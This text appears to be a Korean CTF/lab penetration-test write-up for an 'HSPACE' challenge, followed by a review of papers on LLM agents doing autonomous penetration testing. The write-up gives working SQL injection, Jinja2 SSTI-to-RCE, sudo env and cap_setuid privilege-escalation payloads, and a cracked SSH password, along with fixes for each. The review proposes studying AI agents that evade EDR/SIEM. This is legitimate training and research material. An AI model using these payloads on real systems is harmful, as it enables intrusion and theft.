위치	`/board/<id>`
영향	DB 내 모든 데이터 무단 조회 (플래그, 사용자 정보 등)

취약점 설명

게시판 글 조회 기능에서 사용자 입력(id)이 SQL 쿼리에 직접 삽입된다.

취약 코드:

query = f"SELECT id, title, content FROM notice WHERE id = {id}"

파라미터 바인딩 없이 f-string으로 사용자 입력을 직접 쿼리에 포함하여 Union-based SQL Injection이 가능하다.

공격 과정

Step 1: 컬럼 수 확인

GET /board/1 ORDER BY 3 --    → 정상 응답 (3 컬럼)
GET /board/1 ORDER BY 4 --    → 500 에러 (컬럼 초과)

Step 2: Flag 추출

GET /board/-1 UNION SELECT NULL, flag_value, NULL FROM flag

공격 결과

HSPACE{this_is_your_super_secret_flag}

대응 방안

파라미터화된 쿼리(Parameterized Query) 사용

query = text("SELECT id, title, content FROM notice WHERE id = :id")
db.session.execute(query, {'id': id})

입력값에 대한 정수 타입 검증 추가

취약점 #2: 하드코딩된 자격증명

항목	내용
위험도	High
OWASP	A07:2021 – Identification and Authentication Failures
위치	`/static/js/main.js` (프론트엔드), 로그인 로직 (백엔드)
영향	관리자 계정 탈취 → 관리자 기능 전체 접근

취약점 설명

프론트엔드 JavaScript 파일에 관리자 비밀번호의 SHA-512 해시가 주석으로 포함되어 있다:

// <!-- 개발하실 때 참고해주세요! admin:sha512:3645092c3582a96cd...

또한 백엔드 로그인 로직에 비밀번호가 하드코딩되어 있다:

if username == 'admin' and password == 'bedspace':

SHA-512 해시를 rockyou.txt 등 사전 파일로 크래킹하면 비밀번호 bedspace를 획득할 수 있다.

공격 결과

관리자 로그인 성공 (admin / bedspace)
HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us}

대응 방안

프론트엔드 코드에서 모든 민감 정보(해시 포함) 제거
비밀번호를 DB에 bcrypt/Argon2로 해싱하여 저장
하드코딩된 자격증명 검증 로직 제거

취약점 #3: 소스코드 내 민감 정보 노출 (Dev Mode)

항목	내용
위험도	Low
OWASP	A05:2021 – Security Misconfiguration
위치	메인 페이지 HTML 소스
영향	내부 정보 유출

취약점 설명

메인 페이지의 HTML 소스코드에 개발 모드 관련 플래그가 포함되어 있다. 브라우저 개발자 도구(F12)에서 HSPACE를 검색하면 즉시 발견된다.

공격 결과

HSPACE{d3v_m0d3_1s_d4ng3r0us}

대응 방안

프로덕션 배포 시 디버그 정보, 개발 주석, 테스트 데이터 완전 제거
CI/CD 파이프라인에 민감 정보 스캔 도구 통합

취약점 #4: robots.txt 정보 노출

항목	내용
위험도	Medium
OWASP	A05:2021 – Security Misconfiguration
위치	`/robots.txt` → `/this_is_hidden_page`
영향	숨겨진 페이지 경로 노출

취약점 설명

robots.txt에 비공개 페이지 경로가 Disallow 설정으로 노출되어 있다:

User-agent: *
Disallow: /this_is_hidden_page

robots.txt는 보안 메커니즘이 아니며, 오히려 공격자에게 숨겨진 경로를 알려주는 역할을 한다.

공격 결과

GET /this_is_hidden_page → HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm}

대응 방안

robots.txt에 민감한 경로를 포함하지 않음
숨겨야 할 페이지는 인증/인가로 보호

취약점 #5: SSTI를 통한 원격 코드 실행 (RCE)

항목	내용
위험도	Critical
OWASP	A03:2021 – Injection
위치	`/admin/calculator`
영향	서버 OS 명령 실행 (www-data 권한)

취약점 설명

관리자 계산기 기능이 사용자 입력을 Jinja2 템플릿으로 직접 렌더링한다. 이를 통해 Python 객체 체인을 이용한 Server-Side Template Injection(SSTI)이 가능하며, 최종적으로 임의 OS 명령 실행(RCE)에 도달한다.

공격 과정

Step 1: SSTI 확인

입력: {{7*7}}
출력: 49

Step 2: RCE 달성

''.__class__.__mro__[1].__subclasses__()[351]('id',shell=True,stdout=-1).communicate()
# 출력: (b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)

Step 3: 플래그 읽기

''.__class__.__mro__[1].__subclasses__()[351]('cat /flag.txt',shell=True,stdout=-1).communicate()

공격 결과

서버에서 www-data 권한으로 임의 명령 실행 가능
HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3}

대응 방안

사용자 입력을 절대 템플릿 엔진에 직접 전달하지 않음
Jinja2 샌드박스 모드 사용 또는 수식 전용 파서(eval 대체) 도입
계산기 입력에 허용 문자 화이트리스트 적용 (숫자, 연산자만)

취약점 #6: SSTI를 통한 Flask 설정 정보 누출

항목	내용
위험도	Medium
OWASP	A05:2021 – Security Misconfiguration
위치	`/admin/calculator`
영향	SECRET_KEY, DB 접속 정보 등 Flask 설정 전체 노출

취약점 설명

SSTI 취약점을 이용하여 Jinja2 컨텍스트의 config 객체에 접근하면, Flask 애플리케이션의 전체 설정이 노출된다.

공격 과정

입력: config
출력: <Config {'SECRET_KEY': 'HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}', 'SQLALCHEMY_DATABASE_URI': '...', ...}>

공격 결과

Flask SECRET_KEY 및 전체 설정 노출
HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}

대응 방안

SSTI 취약점 근본 수정 (취약점 #5 대응 방안 참조)
SECRET_KEY는 환경변수로 관리하고, 충분히 강력한 랜덤 값 사용

취약점 #7: IDOR (Insecure Direct Object References)

항목	내용
위험도	High
OWASP	A01:2021 – Broken Access Control
위치	`/orders/<order_id>`
영향	타인의 주문 정보 무단 조회, 숨겨진 주문 데이터 접근

취약점 설명

주문 상세 조회 기능에서 order_id에 대한 소유권 검증(Authorization) 없이 임의의 주문을 조회할 수 있다. 특히 order_id = 0에 대한 특수 처리가 존재하여 숨겨진 주문 데이터에 접근 가능하다.

공격 과정

GET /orders/0
# 로그인한 사용자라면 누구나 접근 가능
# order_id=0에 숨겨진 플래그 데이터가 포함됨

공격 결과

HSPACE{th1s_!s_h1dd3n_0rd3r}

대응 방안

주문 조회 시 현재 사용자의 소유 여부 검증 추가
```
WHERE id = :order_id AND user_id = :current_user_id
```
order_id <= 0에 대한 접근 차단

취약점 #8: 권한 상승 (sudo env)

항목	내용
위험도	Critical
OWASP	A05:2021 – Security Misconfiguration
위치	웹 서버 컨테이너 (Dockerfile 설정)
영향	www-data → root 권한 상승

취약점 설명

Dockerfile에서 www-data 사용자에게 /usr/bin/env에 대한 패스워드 없는 sudo 권한을 부여하고 있다:

echo "www-data ALL=(root) NOPASSWD: /usr/bin/env" >> /etc/sudoers

env 명령은 임의의 프로그램을 실행할 수 있으므로 이를 통해 root 쉘을 획득할 수 있다.

공격 과정

Step 1: sudo 권한 확인 (SSTI RCE 이용)

''.__class__.__mro__[1].__subclasses__()[351]('sudo -l',shell=True,stdout=-1).communicate()
# (root) NOPASSWD: /usr/bin/env

Step 2: root 권한으로 플래그 읽기

''.__class__.__mro__[1].__subclasses__()[351]('sudo env /usr/bin/cat /root/flag.txt',shell=True,stdout=-1).communicate()

공격 결과

www-data → root 권한 상승 성공
HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3}

대응 방안

www-data에 대한 불필요한 sudo 권한 제거
최소 권한 원칙(Principle of Least Privilege) 적용
GTFOBins 목록의 바이너리에 대한 sudo 부여 금지

취약점 #9: 횡이동 (Lateral Movement via Password Cracking)

항목	내용
위험도	High
OWASP	A07:2021 – Identification and Authentication Failures
위치	웹 서버 → chatbot_server (SSH)
영향	인접 서버(chatbot_server)에 대한 무단 접근

취약점 설명

웹 서버의 root 권한을 획득한 후, /etc/shadow 파일에서 chatbot 사용자의 SHA-512 해시를 추출할 수 있다. 이 비밀번호는 약한 비밀번호(computer)로 설정되어 있어 사전 공격으로 쉽게 크래킹된다. 크래킹된 자격증명으로 내부 네트워크의 chatbot_server에 SSH 접속이 가능하다.

공격 과정

Step 1: /etc/shadow에서 해시 추출

chatbot:$6$PFz9aNE2WLPepx9A$FBc5z9a2ePprWlpdtFsn/DoNce...

Step 2: 해시 크래킹

import crypt
crypt.crypt('computer', '$6$PFz9aNE2WLPepx9A$') == hash_part  # True
# 비밀번호: computer

Step 3: SSH 횡이동

ssh chatbot@chatbot_server  # password: computer
cat /home/chatbot/flag.txt

공격 결과

chatbot_server에 chatbot 사용자로 접근 성공
HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck}

대응 방안

강력한 비밀번호 정책 적용 (최소 12자, 복잡성 요구)
SSH 키 기반 인증으로 전환, 비밀번호 인증 비활성화
내부 서버 간 네트워크 분리 (마이크로세그멘테이션)
/etc/shadow 파일 접근 권한 최소화

취약점 #10: 권한 상승 (Linux Capabilities — cap_setuid)

항목	내용
위험도	Critical
OWASP	A05:2021 – Security Misconfiguration
위치	chatbot_server의 Python 바이너리
영향	chatbot 사용자 → root 권한 상승

취약점 설명

chatbot_server의 Dockerfile에서 Python 바이너리에 cap_setuid+ep 캐퍼빌리티를 부여하고 있다:

RUN setcap cap_setuid+ep /usr/bin/python3

cap_setuid를 가진 프로그램은 setuid(0)을 호출하여 UID를 root(0)로 변경할 수 있다.

공격 과정

Step 1: 캐퍼빌리티 확인

getcap -r / 2>/dev/null
# /usr/bin/python3.10 cap_setuid=ep

Step 2: Python으로 root 권한 획득

/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("cat /root/flag.txt")'

공격 결과

chatbot → root 권한 상승 성공
HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky}

대응 방안

불필요한 Linux Capability 제거
cap_setuid 같은 위험한 캐퍼빌리티는 절대 일반 바이너리에 부여하지 않음
정기적인 getcap -r / 감사 수행

3. 공격 킬 체인 (Full Attack Path)

전체 공격 경로를 연쇄적으로 연결하면 다음과 같다:

[외부 공격자]
     │
     ▼
① 정보 수집: robots.txt, main.js, 개발자 도구
     │
     ├─→ Flag 3 (Dev Mode), Flag 4 (robots.txt)
     │
     ▼
② SQL Injection (/board/<id>)
     │
     ├─→ Flag 1 (DB 플래그 탈취)
     │
     ▼
③ 하드코딩 자격증명 크래킹 (main.js SHA-512)
     │
     ├─→ Flag 2 + admin 계정 탈취
     │
     ▼
④ IDOR 주문 정보 접근 (/orders/0)
     │
     ├─→ Flag 7 (숨겨진 주문 데이터)
     │
     ▼
⑤ SSTI → RCE (/admin/calculator)
     │
     ├─→ Flag 5 (RCE), Flag 6 (Config 누출)
     │
     ├─→ 웹 서버에서 www-data 쉘 획득
     │
     ▼
⑥ 권한 상승 (sudo env → root)
     │
     ├─→ Flag 8 (root 플래그)
     │
     ├─→ /etc/shadow 접근 가능
     │
     ▼
⑦ 횡이동 (shadow 크래킹 → SSH chatbot_server)
     │
     ├─→ Flag 9 (chatbot_server 플래그)
     │
     ▼
⑧ 최종 권한 상승 (Python cap_setuid → root)
     │
     └─→ Flag 10 (chatbot_server root 플래그)

[최종 결과: 2개 서버 모두 root 권한 장악]

4. 획득 플래그 목록

#	취약점	위험도	플래그
1	SQL Injection	Critical	`HSPACE{this_is_your_super_secret_flag}`
2	하드코딩 자격증명	High	`HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us}`
3	소스코드 정보 노출	Low	`HSPACE{d3v_m0d3_1s_d4ng3r0us}`
4	robots.txt 노출	Medium	`HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm}`
5	SSTI → RCE	Critical	`HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3}`
6	SSTI Config 누출	Medium	`HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}`
7	IDOR	High	`HSPACE{th1s_!s_h1dd3n_0rd3r}`
8	권한 상승 (sudo)	Critical	`HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3}`
9	횡이동 (SSH)	High	`HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck}`
10	권한 상승 (Capabilities)	Critical	`HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky}`

5. 종합 대응 권고

5.1 우선순위별 조치 사항

우선순위	조치 항목	대상 취약점
P0 (즉시)	SQL 쿼리 파라미터화	#1
P0 (즉시)	SSTI 취약점 제거 (사용자 입력 → 템플릿 렌더링 차단)	#5, #6
P0 (즉시)	하드코딩 자격증명 제거 + 비밀번호 변경	#2
P0 (즉시)	sudo 및 capabilities 설정 제거	#8, #10
P1 (1주 내)	주문 조회 인가 검증 추가	#7
P1 (1주 내)	강력한 비밀번호 정책 + SSH 키 인증 전환	#9
P2 (2주 내)	프론트엔드/소스 코드 민감 정보 제거	#3
P2 (2주 내)	robots.txt 재검토	#4
P3 (장기)	내부 서버 간 네트워크 세그멘테이션	#9

5.2 보안 아키텍처 권고

[권장 보안 레이어]

WAF (Web Application Firewall)
  └── SQL Injection, XSS, SSTI 패턴 차단

애플리케이션 계층
  ├── 파라미터화 쿼리 (SQL Injection 방지)
  ├── 템플릿 샌드박스 (SSTI 방지)
  ├── 인가 검증 (IDOR 방지)
  └── 시크릿 관리 도구 (Vault 등)

시스템 계층
  ├── 최소 권한 원칙 (sudo, capabilities 최소화)
  ├── 강력한 비밀번호 + 키 기반 인증
  └── 정기적 보안 감사 (getcap, sudo -l)

네트워크 계층
  └── 서비스 간 마이크로세그멘테이션

Red Team & AI 논문 정리

KWAKBUMJUN — Sun, 5 Apr 2026 23:25:10 +0900

1. 왜 이 주제인가

2024년 이후, 보안 연구 커뮤니티에서 가장 폭발적으로 논문이 증가한 분야가 있다. "LLM(Large Language Model) 에이전트를 활용한 자율 침투 테스트(Autonomous Penetration Testing)"다. 2024년 말부터 2026년 초까지 약 1년 반 동안 arXiv에만 10편 이상의 관련 논문이 등록되었고, IEEE S&P, MDPI 등 학술지에도 채택이 이어지고 있다.

이 분야의 핵심 질문은 단순하다:

"LLM 에이전트가 사람 해커처럼 자율적으로 시스템을 침투할 수 있는가?"

이 질문이 중요한 이유는 양면적이다. 공격 관점에서는 침투 테스트의 비용과 인력 부족 문제를 해결할 수 있고, 방어 관점에서는 공격자도 곧 이 기술을 악용할 것이므로 선제적 이해가 필요하다.

본 글에서는 이 분야의 대표적인 최신 논문 3편을 선정하여 비교 분석하고, 기존 연구가 다루지 못한 공백 영역을 식별한 뒤, 구체적인 연구 질문과 설계 방향을 제시한다.

2. 선정 논문 개요

선정 기준

시기: 2025년 1월 ~ 2026년 3월 (최신 1년 이내)
주제: LLM 에이전트 기반 자율 침투 테스트
차별성: 각 논문이 서로 다른 접근 방식(에이전트 아키텍처, 벤치마크, 메모리 메커니즘)을 제시
인용/관련성: 상호 참조 관계에 있는 논문들로 구성

논문 목록

#	논문	발표	핵심 키워드
P1	VulnBot: Autonomous Penetration Testing for A Multi-Agent Collaborative Framework	2025.01 (arXiv)	멀티 에이전트, 태스크 그래프, 단계별 협업
P2	CyberExplorer: Benchmarking LLM Offensive Security Capabilities in a Real-World Attacking Simulation Environment	2026.02 (arXiv)	벤치마크, 오픈월드 평가, 40개 웹 서비스
P3	Red-MIRROR: Agentic LLM-based Autonomous Penetration Testing with Reflective Verification and Knowledge-augmented Interaction	2026.03 (arXiv)	RAG, 공유 메모리, 이중 반성, 86% 성공률

3. 논문별 상세 분석

3.1 [P1] VulnBot — "침투 테스트 팀을 시뮬레이션하다"

저자: He Kong, Die Hu, Jingguo Ge, Liangxiong Li, Tong Li, Bingzhen Wu
출처: arXiv:2501.13411 (2025.01)

연구 문제

수동 침투 테스트는 상당한 인적 자원과 시간을 요구한다. 기존 LLM 기반 접근법은 "맥락 이해 부족"과 "비구조적 데이터 생성"으로 인해 실효성이 떨어진다.

방법론

VulnBot의 핵심 아이디어는 "사람 침투 테스트 팀의 협업 구조를 모방"하는 것이다.

[VulnBot 아키텍처]

                  ┌─ Reconnaissance Agent (정찰)
                  │    nmap, whois, DNS enum
                  │
Penetration   ────┼─ Scanning Agent (스캐닝)
Task Graph        │    취약점 스캐너, 포트 스캔
(PTG)             │
                  └─ Exploitation Agent (공격)
                       페이로드 생성, 익스플로잇 실행

침투 태스크 그래프(PTG): 정찰 → 스캐닝 → 익스플로잇의 논리적 실행 순서를 그래프로 정의
역할 전문화: 각 에이전트가 특정 단계만 담당 (사람 팀의 역할 분담 모방)
에이전트 간 통신: 이전 단계의 결과를 다음 단계 에이전트에게 구조적으로 전달
생성적 침투 행위: LLM이 상황에 맞는 명령과 페이로드를 동적으로 생성

평가 결과

GPT-4, Llama3 기반 단일 에이전트 대비 우수한 성능 (구체적 수치 미공개)
실제 머신 대상 완전 자율 테스트 성공 사례 보고

주요 한계

벤치마크 표준 부재: 자체 테스트 환경만 사용, 재현성/비교 가능성 제한
웹 취약점 중심: 네트워크 수준 침투(횡이동, 권한 상승)에 대한 평가 없음
메모리 메커니즘 부재: 장기적인 공격 세션에서 이전 시도 결과를 기억하고 학습하는 구조 없음

3.2 [P2] CyberExplorer — "공정한 시험 문제를 만들다"

저자: Nanda Rani, Kimberly Milner 외 10명
출처: arXiv:2602.08023 (2026.02)

연구 문제

기존 LLM 공격 에이전트 평가는 "닫힌 세계(closed-world)" 설정에 의존한다: 미리 정의된 목표, 이진적 성공 기준(플래그 획득/미획득). 이는 실제 공격 상황 — 미지의 공격 표면 탐색, 불확실성 하의 가설 수정, 성공 보장 없는 작전 — 과 동떨어져 있다.

방법론

CyberExplorer는 평가 프레임워크 자체를 혁신한다.

[CyberExplorer 구성]

┌─────────────────────────────────────────┐
│       Open-Environment Benchmark         │
│                                         │
│  VM 1대에 40개 취약 웹 서비스 호스팅     │
│  (실제 CTF 챌린지 기반)                  │
│                                         │
│  에이전트에게 제공되는 사전 정보: 없음    │
│  → 자율적 정찰, 대상 선택, 공격 수행    │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│     Reactive Multi-Agent Framework       │
│                                         │
│  미리 정의된 공격 계획 없이              │
│  동적 탐색 + 반응적 의사결정             │
│                                         │
│  평가 지표:                              │
│  - 플래그 획득 (기존 지표)               │
│  - 상호작용 역학 (신규)                  │
│  - 에이전트 간 조정 행위 (신규)          │
│  - 실패 모드 분석 (신규)                 │
│  - 취약점 발견 시그널 (신규)             │
└─────────────────────────────────────────┘

핵심 기여

오픈월드 벤치마크: 에이전트가 사전 지식 없이 40개 서비스를 자율 탐색
다차원 평가: 단순 성공/실패를 넘어 "어떻게 실패했는가", "어떤 탐색 전략을 사용했는가"까지 분석
재현 가능한 환경: VM 기반으로 동일 조건 재현 가능

주요 한계

웹 서비스 한정: 40개 서비스가 모두 웹 애플리케이션. 네트워크 인프라, Active Directory, 클라우드 환경 미포함
CTF 기반의 인위성: CTF 챌린지는 의도적으로 설계된 취약점이므로, 실제 프로덕션 환경의 복잡성을 완전히 반영하지 못함
방어 메커니즘 부재: WAF, IDS, EDR 등 방어 시스템이 없는 "무방비" 환경에서만 테스트

3.3 [P3] Red-MIRROR — "기억하고, 반성하고, 다시 공격하다"

저자: Tran Vy Khang, Nguyen Dang Nguyen Khang 외 4명
출처: arXiv:2603.27127 (2026.03)

연구 문제

기존 LLM 에이전트의 3대 약점:

파라메트릭 지식 과의존: LLM 학습 데이터에 없는 최신 취약점(CVE)에 대응 불가
단편적 세션 메모리: 공격 시도 간의 맥락이 유실되어 같은 실패를 반복
페이로드 검증 부족: 공격 성공 여부를 제대로 확인하지 않고 다음 단계로 진행

방법론

Red-MIRROR은 세 가지 메커니즘으로 이 문제를 해결한다:

[Red-MIRROR 아키텍처]

┌──────────────────────────────────────────────┐
│              Red-MIRROR System                │
│                                              │
│  ┌──────────┐  ┌──────────┐  ┌───────────┐  │
│  │   RAG    │  │  SRMM    │  │ Dual-Phase│  │
│  │ (외부    │  │ (공유    │  │ Reflection│  │
│  │  지식)   │  │  메모리) │  │ (이중     │  │
│  │          │  │          │  │  반성)    │  │
│  │ CVE DB,  │  │ 에이전트 │  │ ① 페이로드│  │
│  │ exploit  │  │ 간 상태  │  │   검증    │  │
│  │ DB 검색  │  │ 공유     │  │ ② 응답    │  │
│  │          │  │ 장기기억 │  │   검증    │  │
│  └──────────┘  └──────────┘  └───────────┘  │
│         │             │             │        │
│         └─────────────┼─────────────┘        │
│                       ▼                      │
│          멀티 에이전트 추론 백본               │
│      (memory-reflection backbone)            │
└──────────────────────────────────────────────┘

RAG: 외부 취약점 DB, 익스플로잇 DB를 실시간 검색하여 LLM의 파라메트릭 지식 보완
SRMM (Shared Recurrent Memory Mechanism): 에이전트 간 상태를 공유하는 순환 메모리. "3번 시도에서 SQLi가 실패했으니 XSS로 전환" 같은 전략적 판단 가능
이중 반성 (Dual-Phase Reflection):
- Phase 1: 생성한 페이로드가 기술적으로 유효한지 자체 검증
- Phase 2: 서버 응답을 분석하여 공격 성공 여부를 실질적으로 판단

평가 결과

시스템	XBOW 성공률	서브태스크 완료율
Red-MIRROR	86.0%	93.99%
PentestAgent	50.0%	—
AutoPT	46.0%	—
VulnBot	6.0%	—

VulnBot 대비 80%p 향상, PentestAgent 대비 36%p 향상이라는 압도적 성능 차이를 보인다.

주요 한계

웹 취약점 전용: SQLi, XSS, 비즈니스 로직 취약점에 특화. 네트워크/인프라 침투 미지원
윤리적 우려: 논문 자체에서 "악용 방지를 위한 안전장치" 필요성을 언급
실제 프로덕션 미검증: 벤치마크(XBOW, Vulhub)는 알려진 취약점을 포함한 테스트 환경

4. 논문 비교 분석

4.1 3편 비교 매트릭스

비교 기준	P1: VulnBot	P2: CyberExplorer	P3: Red-MIRROR
발표 시기	2025.01	2026.02	2026.03
핵심 기여	멀티 에이전트 협업 구조	오픈월드 벤치마크	메모리 + 반성 메커니즘
에이전트 수	3개 (정찰/스캔/공격)	다수 (동적 구성)	다수 (밀결합)
메모리 메커니즘	없음	제한적	SRMM (핵심)
외부 지식 통합	없음	없음	RAG
자기 검증	없음	없음	이중 반성
평가 환경	자체 환경	40개 CTF 웹 서비스	XBOW + Vulhub
평가 방식	성공/실패	다차원 (5개 지표)	성공률 + 서브태스크
공격 대상	웹 + 일부 네트워크	웹 전용	웹 전용
방어 시스템 포함	없음	없음	없음
내부망 횡이동	없음	없음	없음
실제 환경 검증	일부	없음 (CTF)	없음 (벤치마크)
XBOW 성공률	6.0%	—	86.0%

4.2 연구 발전 흐름

VulnBot (2025.01)          CyberExplorer (2026.02)       Red-MIRROR (2026.03)
"팀처럼 협업하자"           "공정하게 평가하자"           "기억하고 반성하자"
     │                          │                            │
     │  멀티 에이전트 구조       │  오픈월드 벤치마크          │  메모리 + 반성
     │  단계별 태스크 분할       │  다차원 평가 지표          │  RAG 외부 지식
     │                          │                            │  이중 검증
     │                          │                            │
     └──── 한계: 메모리 없음 ────┤                            │
     └──── 한계: 표준 벤치 없음 ─┘                            │
                                └──── 한계: 웹 전용 ──────────┘
                                └──── 한계: 방어 시스템 없음 ──┘

핵심 관찰: 1년간의 연구 발전은 명확한 방향성을 보인다:

단일 에이전트 → 멀티 에이전트 협업
단순 평가 → 다차원 오픈월드 벤치마크
메모리 없음 → 공유 메모리 + 반성 메커니즘

하지만 3편 모두 공유하는 근본적 한계가 있다.

4.3 공통 한계점 (미탐색 영역)

3편의 논문 모두에서 다루지 않은 영역을 아래와 같이 도출했다:

한계 1: "웹 밖의 세계가 없다"

3편 모두 웹 애플리케이션 취약점(SQLi, XSS, RCE 등)에만 집중한다. 실제 침투 테스트(특히 레드팀 작전)에서 가장 중요한 단계인 내부망 횡이동(Lateral Movement)과 Active Directory 공격은 전혀 다루지 않는다.

실제 레드팀 킬 체인:

초기 침투 (웹 RCE 등) → [기존 연구가 다루는 범위]
    ↓
내부 정찰 → 권한 상승 → 횡이동 → 도메인 장악 → [미탐색 영역]

한계 2: "방어자가 없다"

모든 실험이 WAF, IDS, EDR, SIEM 등 방어 메커니즘이 없는 환경에서 수행되었다. 실제 환경에서는 공격 시도가 차단되거나 탐지되며, 이에 대한 적응적 우회(Adaptive Evasion)가 필요하다.

한계 3: "성공률만 본다"

CyberExplorer를 제외하면 대부분 "몇 개의 취약점을 성공적으로 익스플로잇했는가"라는 단일 지표로 평가한다. 실전에서 중요한 은밀성(Stealth), 탐지 회피율, 작전 보안(OPSEC) 등은 평가되지 않는다.

5. 연구 동향 종합

5.1 현재 연구 지형도

              [성숙도 높음]
                   │
    ┌──────────────┼──────────────┐
    │              │              │
  웹 취약점     CTF 벤치마크    멀티 에이전트
  자동 익스플로잇  자동 풀이     협업 구조
    │              │              │
    │     ─────────┼──────────    │
    │    │ 현재 연구의 중심 │     │
    │     ─────────┼──────────    │
    │              │              │
    ├── RAG 지식   ├── 오픈월드   ├── 공유 메모리
    │   통합       │   평가       │   + 반성
    │              │              │
    └──────────────┼──────────────┘
                   │
              [성숙도 낮음]
                   │
    ┌──────────────┼──────────────┐
    │              │              │
  내부망 횡이동   방어 시스템    은밀성/OPSEC
  AD 공격 자동화  존재 하 테스트  평가 지표
    │              │              │
    │     ─────────┼──────────    │
    │    │    미탐색 영역    │    │
    │     ─────────┼──────────    │
    └──────────────┼──────────────┘

5.2 핵심 트렌드 (2024~2026)

트렌드	근거	향후 전망
LLM 에이전트 + 침투 테스트 융합	1년 반 만에 10편 이상 논문	주요 보안 학회(S&P, USENIX, CCS)에 진입 중
멀티 에이전트 → 표준	P1~P3 모두 멀티 에이전트 채택	단일 에이전트 접근은 도태될 것
메모리/반성 메커니즘	Red-MIRROR이 SRMM으로 80%p 성능 향상	에이전트 메모리 설계가 핵심 경쟁 요소
벤치마크 표준화 필요성	각 논문이 다른 환경에서 평가 → 비교 불가	커뮤니티 수준의 표준 벤치마크 등장 예상
웹 → 인프라/네트워크 확장	아직 미탐색이나 필연적 확장 방향	다음 1~2년 내 핵심 연구 주제화

6. 연구 질문 및 연구 설계

6.1 연구 질문 (Research Question)

"LLM 멀티 에이전트 시스템이 초기 웹 침투 이후 Active Directory 환경에서의 내부망 횡이동(Lateral Movement)과 권한 상승(Privilege Escalation)을 자율적으로 수행할 수 있으며, 이때 방어 시스템(EDR/SIEM) 존재 하에서의 탐지 회피 능력은 어떠한가?"

6.2 연구 질문 도출 근거

기존 연구 한계	본 연구의 대응
3편 모두 웹 전용	→ 내부망(AD) 환경으로 확장
방어 시스템 없는 환경	→ EDR/SIEM 존재 하 테스트
성공률만 평가	→ 탐지 회피율, 은밀성 지표 추가
CTF/벤치마크 인위성	→ 실제 AD 환경 기반 테스트베드

6.3 연구 설계 초안

연구 대상

공격 시스템: LLM 멀티 에이전트 프레임워크 (Red-MIRROR 아키텍처 확장)
대상 환경: Active Directory 도메인 네트워크 (DC 1대, 워크스테이션 3대, 서버 2대)
방어 시스템: Elastic SIEM + Sysmon + 기본 탐지 규칙

수집 데이터

데이터	수집 방법	용도
에이전트 행동 로그	LLM 에이전트의 의사결정 과정 기록	공격 전략 분석
Sysmon 이벤트 로그	피해 시스템에서 수집	공격 행위 기록
SIEM 알림 로그	Elastic Security 탐지 규칙 트리거 기록	탐지율 계산
네트워크 트래픽	tcpdump/Zeek	횡이동 패턴 분석
ATT&CK 매핑 결과	수동 + 자동	기법 커버리지 측정

변수 정의

변수 유형	변수명	설명	측정 방법
독립변수	에이전트 아키텍처	(a) 단일 에이전트, (b) P1식 단계분리, (c) P3식 메모리+반성	시스템 구성
독립변수	방어 수준	(a) 방어 없음, (b) 기본 규칙, (c) 고급 규칙	SIEM 규칙 세트
종속변수	침투 성공률	최종 목표(도메인 장악) 달성 비율	이진 판정
종속변수	단계별 완료율	정찰/횡이동/권한상승 각 단계 완료율	ATT&CK 기법 기준
종속변수	탐지 회피율	실행 기법 중 SIEM 미탐지 비율	1 - (알림 수 / 실행 기법 수)
종속변수	작전 시간	초기 침투부터 목표 달성까지 소요 시간	타임스탬프
통제변수	LLM 모델	GPT-4o 고정	API 버전 통제
통제변수	네트워크 토폴로지	고정된 AD 구성	스냅샷 복원

분석 방법

[실험 설계: 3×3 요인 설계]

                    방어 수준
                 없음  기본  고급
에이전트    (a)  [ ]   [ ]   [ ]    ← 단일 에이전트
아키텍처    (b)  [ ]   [ ]   [ ]    ← 단계분리 (VulnBot식)
            (c)  [ ]   [ ]   [ ]    ← 메모리+반성 (Red-MIRROR식)

각 셀: 10회 반복 실험 → 총 90회

분석 기법:

이원 분산분석 (Two-way ANOVA): 에이전트 아키텍처 × 방어 수준이 침투 성공률에 미치는 주효과 및 상호작용 효과
ATT&CK 히트맵: 각 조건에서 성공/실패한 기법을 Navigator로 시각화하여 아키텍처별 강점/약점 패턴 도출
실패 모드 질적 분석: 에이전트가 왜, 어디서 실패하는지 LLM 의사결정 로그를 코딩 분석

7. 맺으며

2025~2026년, LLM 기반 자율 침투 테스트 연구는 빠르게 성숙하고 있다. VulnBot이 "팀 협업"의 아이디어를 제시하고, CyberExplorer가 "공정한 평가"의 기준을 세웠으며, Red-MIRROR이 "기억과 반성"으로 성능의 벽을 돌파했다.

하지만 이 연구들은 모두 웹이라는 울타리 안에 머물러 있다. 실제 레드팀 작전의 핵심 — 내부망 횡이동, Active Directory 장악, 방어 시스템 우회 — 은 아직 손대지 않은 영역이다. 이 공백은 위협이자 기회다.

다음 연구는 "LLM 에이전트가 웹의 초기 침투를 넘어, 방어자가 지키고 있는 내부 네트워크를 자율적으로 탐색하고 장악할 수 있는가?"라는 질문에 답해야 한다. 이 질문에 대한 답은 공격자보다 방어자가 먼저 알아야 한다.

참고 문헌

He Kong et al., "VulnBot: Autonomous Penetration Testing for A Multi-Agent Collaborative Framework," arXiv:2501.13411, Jan 2025. [링크]
Nanda Rani et al., "CyberExplorer: Benchmarking LLM Offensive Security Capabilities in a Real-World Attacking Simulation Environment," arXiv:2602.08023, Feb 2026. [링크]
Tran Vy Khang et al., "Red-MIRROR: Agentic LLM-based Autonomous Penetration Testing with Reflective Verification and Knowledge-augmented Interaction," arXiv:2603.27127, Mar 2026. [링크]
LMDG: Advancing Lateral Movement Detection Through High-Fidelity Dataset Generation, arXiv:2508.02942, Aug 2025. [링크]
